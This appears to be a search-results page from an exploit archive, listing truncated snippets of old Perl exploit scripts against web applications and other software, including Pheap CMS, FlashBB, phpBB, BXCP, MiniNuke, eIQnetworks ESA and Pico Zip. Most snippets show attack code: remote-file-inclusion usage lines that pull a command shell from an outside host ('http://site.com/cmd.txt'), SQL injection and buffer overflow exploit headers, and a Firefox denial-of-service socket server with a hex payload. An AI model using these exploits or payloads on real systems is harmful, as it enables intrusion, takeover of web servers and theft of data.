1119 matches found
Pheap CMS <= 1.1 (lpref) Remote File Include Exploit
Exploit for unknown platform in category web applications ==================================================== Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...
AlberT-perl.txt
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...
firefox-DoS.txt
!/usr/bin/perl author: tomas kempinsky use strict; use Socket; my $port = shift || 2121; my $proto = getprotobyname'tcp'; my $payload = "\x32\x32\x30\x20\x5a\x0d\x0a\x33". "\x33\x31\x20\x5a\x0d\x0a\x35\x30". "\x30\x20\x44\x6f\x53\x0d\x0a\x35". "\x30\x30\x20\x5a\x0d\x0a"; socketSERVER, PFINET,...
fusionnews.txt
!/usr/bin/perl Aria-Security.net Advisory Discovered by: OUTLAW Gr33t to: A.u.r.a & HessamX & Cl0wn & DrtRp Special Thanx To All Aria-Security Users use LWP::UserAgent; print "\n === Fusion News v3.7 Remote File Inclusion\n"; print "\n === Discovered by OutLaw .\n"; print "\n ===...
Wikepage Opus 10 2006.2a (lng) - Remote Command Execution
Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...
phpBB All Topics Mod <= 1.5.0 (start) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | | | \ \ / / '..' Author: SpiderZ Exploit: All Topics Hack Sql injection For: phpBB 2.0.x - 2.0.21 Site: www.spiderz.altervista.org Site02: www.spiderz.netsons.org...
eIQnetworks ESA (Syslog Server) Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================== eIQnetworks ESA Syslog Server Remote Buffer Overflow Exploit ============================================================== !/usr/bin/perl -w http://www.digitalmunition.com...
BXCP <= 0.3.0.4 (where) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print q ------------------------------------------------------------------------------------- BXCP exploit by x23 curse-crew.de geekbar.cx.la geeknet.uttx.net use: bxcp.pl server dir id sample: $ perl bxcp.pl bxcp.com / 1 connectin...
BXCP 0.3.0.4 - where SQL Injection
BXCP 0.3.0.4 - where SQL Injection !/usr/bin/perl use IO::Socket; print q ------------------------------------------------------------------------------------- BXCP exploit by x23 curse-crew.de geekbar.cx.la geeknet.uttx.net use: bxcp.pl server dir id sample: $ perl bxcp.pl bxcp.com / 1 connectin...
FailureToLaunch.pl.txt
!/usr/bin/perl http://www.digitalmunition.com/FailureToLaunch.pl Code by Kevin Finisterre kflistsatdigitalmunitiondotcom This is a practical application of Non Executable Stack Lovin - http://www.digitalmunition.com/NonExecutableLovin.txt This code currently jumps into 0x1811111 via dyldstubclose...
BXCP 0.3.0.4 - 'where' SQL Injection
!/usr/bin/perl use IO::Socket; print q ------------------------------------------------------------------------------------- BXCP exploit by x23 curse-crew.de geekbar.cx.la geeknet.uttx.net use: bxcp.pl server dir id sample: $ perl bxcp.pl bxcp.com / 1 connecting exploiting hash: censored ;D...
SturGeoN Upload - Arbitrary File Upload
SturGeoN Upload - Arbitrary File Upload source: https://www.securityfocus.com/bid/18764/info SturGeoN Upload is prone to an arbitrary file-upload vulnerability. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may...
Webmin 'miniserv.pl' Arbitrary File Disclosure
The version of Webmin installed on the remote host is affected by an information disclosure flaw due to a flaw in the Perl script 'miniserv.pl'. This flaw could allow a remote, unauthenticated attacker to read arbitrary files on the affected host, subject to the privileges of the web server user...
DREAMACCOUNT V3.1 Remote Command Execution Exploit
---------------------------------------------------- DREAMACCOUNT V3.1 Command Execution Exploit ---------------------------------------------------- Discovered By CrAshoVeRrIdEArabian Security Team Coded By Drago84Exclusive Security Team ---------------------------------------------------- site ...
FlashBB 1.1.8 - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl TUFaT FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu [email protected] use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
Pico Zip 4.01 - Filename Local Buffer Overflow
Pico Zip 4.01 - Filename Local Buffer Overflow !/usr/bin/perl Pico Zip v. 4.01 Long Filename Buffer Overflow Original advisory - http://www.securityfocus.com/archive/1/437103/30/30/threaded Author - c0rrupt Greets - sh0uts to n0limit, muts, and brax for the music ; The vulnerability is caused due...
Pico Zip 4.01 (Long Filename) Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ===================================================== Pico Zip 4.01 Long Filename Buffer Overflow Exploit ===================================================== !/usr/bin/perl Pico Zip v. 4.01 Long Filename Buffer Overflow Original advisory -...
Microsoft Exchange Server 20002003 - Outlook Web Access Script Injection
Microsoft Exchange Server 20002003 - Outlook Web Access Script Injection source: https://www.securityfocus.com/bid/18381/info Microsoft Exchange Server Outlook Web Access is prone to a script-injection vulnerability. A remote attacker can exploit this issue by sending a malicious email message to...
Guestex Guestbook 1.00 (email) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================ Guestex Guestbook 1.00 email Remote Code Execution Exploit ============================================================ Creator: K-sPecial xzziroz.net of .aware awarenetwork.org...
MiniNuke 2.x (create an admin) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =========================================================== MiniNuke 2.x create an admin Remote SQL Injection Exploit =========================================================== !/usr/bin/perl Method found & Exploit scripted by nukedx...